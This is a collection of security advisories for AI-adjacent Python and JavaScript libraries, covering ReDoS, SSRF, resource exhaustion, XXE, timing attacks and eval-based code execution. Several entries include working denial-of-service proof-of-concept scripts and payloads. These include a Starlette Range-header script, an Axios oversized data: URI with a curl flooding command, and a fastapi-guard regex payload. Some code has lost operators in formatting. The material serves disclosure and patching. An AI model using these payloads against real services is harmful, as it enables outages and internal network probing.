Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in `FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
`python
starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
`
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
Direct starlette.responses.FileResponse responses
PoC
`python
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' num_zeros + '0-'"""
return ("0" length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
``
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
llama-index has Insecure Temporary File
The llama_index library version 0.12.33 sets the NLTK data directory to a subdirectory of the codebase by default, which is world-writable in multi-user environments. This configuration allows local users to overwrite, delete, or corrupt NLTK data files, leading to potential denial of service, data tampering, or privilege escalation. The vulnerability arises from the use of a shared cache directory instead of a user-specific one, making it susceptible to local data tampering and denial of service.
vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Vulnerability Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
https://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113
The function directly processes URLs with http, https, and file schemes. An attacker can supply a URL pointing to an internal IP address or a localhost endpoint. The vLLM server will then initiate a connection to this internal resource.
HTTP/HTTPS Scheme: An attacker can craft a request like {"image_url": "http://127.0.0.1:8080/internal_api"}. The vLLM server will send a GET request to this internal endpoint.
File Scheme: The _load_file_url method attempts to restrict file access to a subdirectory defined by --allowed-local-media-path. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.
Impact in llm-d Environments
The risk is significantly amplified in orchestrated environments such as llm-d, where multiple pods communicate over an internal network.
1. Denial of Service (DoS): An attacker could target internal management endpoints of other services within the llm-d cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.
2. Internal Network Reconnaissance: Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like http://10.0.0.X:PORT and observing the server's response time or error messages.
3. Interaction with Internal Services: Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.
Delegating this security responsibility to an upper-level orchestrator like llm-d is problematic. The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.
Fix
See the --allowed-media-domains option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls
vLLM: Resource-Exhaustion (DoS) through Malicious Jinja Template in OpenAI-Compatible Server
Summary
A resource-exhaustion (denial-of-service) vulnerability exists in multiple endpoints of the OpenAI-Compatible Server due to the ability to specify Jinja templates via the chat_template and chat_template_kwargs parameters. If an attacker can supply these parameters to the API, they can cause a service outage by exhausting CPU and/or memory resources.
Details
When using an LLM as a chat model, the conversation history must be rendered into a text input for the model. In hf/transformer, this rendering is performed using a Jinja template. The OpenAI-Compatible Server launched by vllm serve exposes a chat_template parameter that lets users specify that template. In addition, the server accepts a chat_template_kwargs parameter to pass extra keyword arguments to the rendering function.
Because Jinja templates support programming-language-like constructs (loops, nested iterations, etc.), a crafted template can consume extremely large amounts of CPU and memory and thereby trigger a denial-of-service condition.
Importantly, simply forbidding the chat_template parameter does not fully mitigate the issue. The implementation constructs a dictionary of keyword arguments for apply_hf_chat_template and then updates that dictionary with the user-supplied chat_template_kwargs via dict.update. Since dict.update can overwrite existing keys, an attacker can place a chat_template key inside chat_template_kwargs to replace the template that will be used by apply_hf_chat_template.
``python
vllm/entrypoints/openai/serving_engine.py#L794-L816
_chat_template_kwargs: dict[str, Any] = dict(
chat_template=chat_template,
add_generation_prompt=add_generation_prompt,
continue_final_message=continue_final_message,
tools=tool_dicts,
documents=documents,
)
_chat_template_kwargs.update(chat_template_kwargs or {})
request_prompt: Union[str, list[int]]
if isinstance(tokenizer, MistralTokenizer):
...
else:
request_prompt = apply_hf_chat_template(
tokenizer=tokenizer,
conversation=conversation,
model_config=model_config,
*_chat_template_kwargs,
)
`
Impact
If an OpenAI-Compatible Server exposes endpoints that accept chat_template or chat_template_kwargs from untrusted clients, an attacker can submit a malicious Jinja template (directly or by overriding chat_template inside chat_template_kwargs`) that consumes excessive CPU and/or memory. This can result in a resource-exhaustion denial-of-service that renders the server unresponsive to legitimate requests.
Fixes
https://github.com/vllm-project/vllm/pull/25794
vLLM is vulnerable to timing attack at bearer auth
Summary
The API key support in vLLM performed validation using a method that was vulnerable to a timing attack. This could potentially allow an attacker to discover a valid API key using an approach more efficient than brute force.
Details
https://github.com/vllm-project/vllm/blob/4b946d693e0af15740e9ca9c0e059d5f333b1083/vllm/entrypoints/openai/api_server.py#L1270-L1274
API key validation used a string comparison that will take longer the more characters the provided API key gets correct. Data analysis across many attempts can allow an attacker to determine when it finds the next correct character in the key sequence.
Impact
Deployments relying on vLLM's built-in API key validation are vulnerable to authentication bypass using this technique.
llama-index-core insecurely handles temporary files
The llama-index-core package, up to version 0.12.44, contains a vulnerability in the get_cache_dir() function where a predictable, hardcoded directory path /tmp/llama_index is used on Linux systems without proper security controls. This vulnerability allows attackers on multi-user systems to steal proprietary models, poison cached embeddings, or conduct symlink attacks. The issue affects all Linux deployments where multiple users share the same system. The vulnerability is classified under CWE-379, CWE-377, and CWE-367, indicating insecure temporary file creation and potential race conditions.
Hugging Face Transformers vulnerable to Regular Expression Denial of Service (ReDoS) in the AdamWeightDecay optimizer
The huggingface/transformers library, versions prior to 4.53.0, is vulnerable to Regular Expression Denial of Service (ReDoS) in the AdamWeightDecay optimizer. The vulnerability arises from the _do_use_weight_decay method, which processes user-controlled regular expressions in the include_in_weight_decay and exclude_from_weight_decay lists. Malicious regular expressions can cause catastrophic backtracking during the re.search call, leading to 100% CPU utilization and a denial of service. This issue can be exploited by attackers who can control the patterns in these lists, potentially causing the machine learning task to hang and rendering services unresponsive.
Hugging Face Transformers library has Regular Expression Denial of Service
A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically within the normalize_numbers() method of the EnglishNormalizer class. This vulnerability affects versions up to 4.52.4 and is fixed in version 4.53.0. The issue arises from the method's handling of numeric strings, which can be exploited using crafted input strings containing long sequences of digits, leading to excessive CPU consumption. This vulnerability impacts text-to-speech and number normalization tasks, potentially causing service disruption, resource exhaustion, and API vulnerabilities.
Hugging Face Transformers is vulnerable to ReDoS through its MarianTokenizer
A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically affecting the MarianTokenizer's remove_language_code() method. This vulnerability is present in version 4.52.4 and has been fixed in version 4.53.0. The issue arises from inefficient regex processing, which can be exploited by crafted input strings containing malformed language code patterns, leading to excessive CPU consumption and potential denial of service.
Axios is vulnerable to DoS attack through lack of data size check
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
``js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
`
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
`js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
`
The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
`js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
`
Run with limited heap to force a crash:
`bash
node --max-old-space-size=100 poc.js
`
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
`
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
`
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
`js
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/
POST /preview { "url": "<http|https|data URL>" }
Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 1024, // Axios will ignore this for data:
maxBodyLength: 8 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT});
console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).);
});
`
Run this app and send 3 post requests:
`sh
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null`
`
---
Suggestions
1. Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
2. Stream decoding
Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Langchain Community Vulnerable to XML External Entity (XXE) Attacks
The langchain-ai/langchain project, specifically the EverNoteLoader component, is vulnerable to XML External Entity (XXE) attacks due to insecure XML parsing. The vulnerability arises from the use of etree.iterparse() without disabling external entity references, which can lead to sensitive information disclosure. An attacker could exploit this by crafting a malicious XML payload that references local files, potentially exposing sensitive data such as /etc/passwd. This issue has been fixed in 0.3.27 of langchain-community.
LlamaIndex affected by a Denial of Service (DOS) in JSONReader
A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.
vLLM has remote code execution vulnerability in the tool call parser for Qwen3-Coder
Summary
An unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call.
Details
vLLM's Qwen3 Coder tool parser contains a code execution path that uses Python's eval() function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types.
This code path is reached when:
1. Tool calling is enabled (--enable-auto-tool-choice)
2. The qwen3_coder parser is specified (--tool-call-parser qwen3_coder)
3. The parameter type is not explicitly defined or recognized
Impact
Remote Code Execution via Python's eval() function.
vllm API endpoints vulnerable to Denial of Service Attacks
Summary
A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.
Details
The vulnerability leverages the abuse of HTTP headers. By setting a header such as X-Forwarded-For to a very large value like ("A" * 5_800_000_000), the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.
Impact
_What kind of vulnerability is it? Who is impacted?_
Type of vulnerability: Denial of Service (DoS)
Resolution
Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.
Hugging Face Transformers Regular Expression Denial of Service (ReDoS) vulnerability
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the Hugging Face Transformers library, specifically in the convert_tf_weight_name_to_pt_weight_name() function. This function, responsible for converting TensorFlow weight names to PyTorch format, uses a regex pattern /[^/]___([^/])/ that can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking. The vulnerability affects versions up to 4.51.3 and is fixed in version 4.53.0. This issue can lead to service disruption, resource exhaustion, and potential API service vulnerabilities, impacting model conversion processes between TensorFlow and PyTorch formats.
FastAPI Guard regex bypass — XSS/SQLi through middleware
Bounded regex in fastapi-guard 3.0.1 bypassed with payloads exceeding length limits.
Starlette has possible denial-of-service vector when parsing large files in multipart forms
Summary
When parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections.
Details
Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from here) has a minor bug. Instead of just checking for self._in_memory we should also check if the additional bytes will cause a rollover.
``python
@property
def _in_memory(self) -> bool:
# check for SpooledTemporaryFile._rolled
rolled_to_disk = getattr(self.file, "_rolled", True)
return not rolled_to_disk
async def write(self, data: bytes) -> None:
if self.size is not None:
self.size += len(data)
if self._in_memory:
self.file.write(data)
else:
await run_in_threadpool(self.file.write, data)
`
I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962
PoC
See the discussion here for steps on how to reproduce.
Impact
To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact.
Transformers is vulnerable to ReDoS attack through its DonutProcessor class
A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically within the DonutProcessor class's token2json() method. This vulnerability affects versions 4.51.3 and earlier, and is fixed in version 4.52.1. The issue arises from the regex pattern <s_(.*?)> which can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking. This vulnerability can lead to service disruption, resource exhaustion, and potential API service vulnerabilities, impacting document processing tasks using the Donut model.
LlamaIndex vulnerable to data loss through hash collisions in its DocugamiReader class
A vulnerability in the DocugamiReader class of the run-llama/llama_index repository, up to but excluding version 0.12.41, involves the use of MD5 hashing to generate IDs for document chunks. This approach leads to hash collisions when structurally distinct chunks contain identical text, resulting in one chunk overwriting another. This can cause loss of semantically or legally important document content, breakage of parent-child chunk hierarchies, and inaccurate or hallucinated responses in AI outputs. The issue is resolved in version 0.3.1.
fastapi-guard is vulnerable to ReDoS through inefficient regex
Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7
``python
payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
`
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False` are vulnerable to DoS.
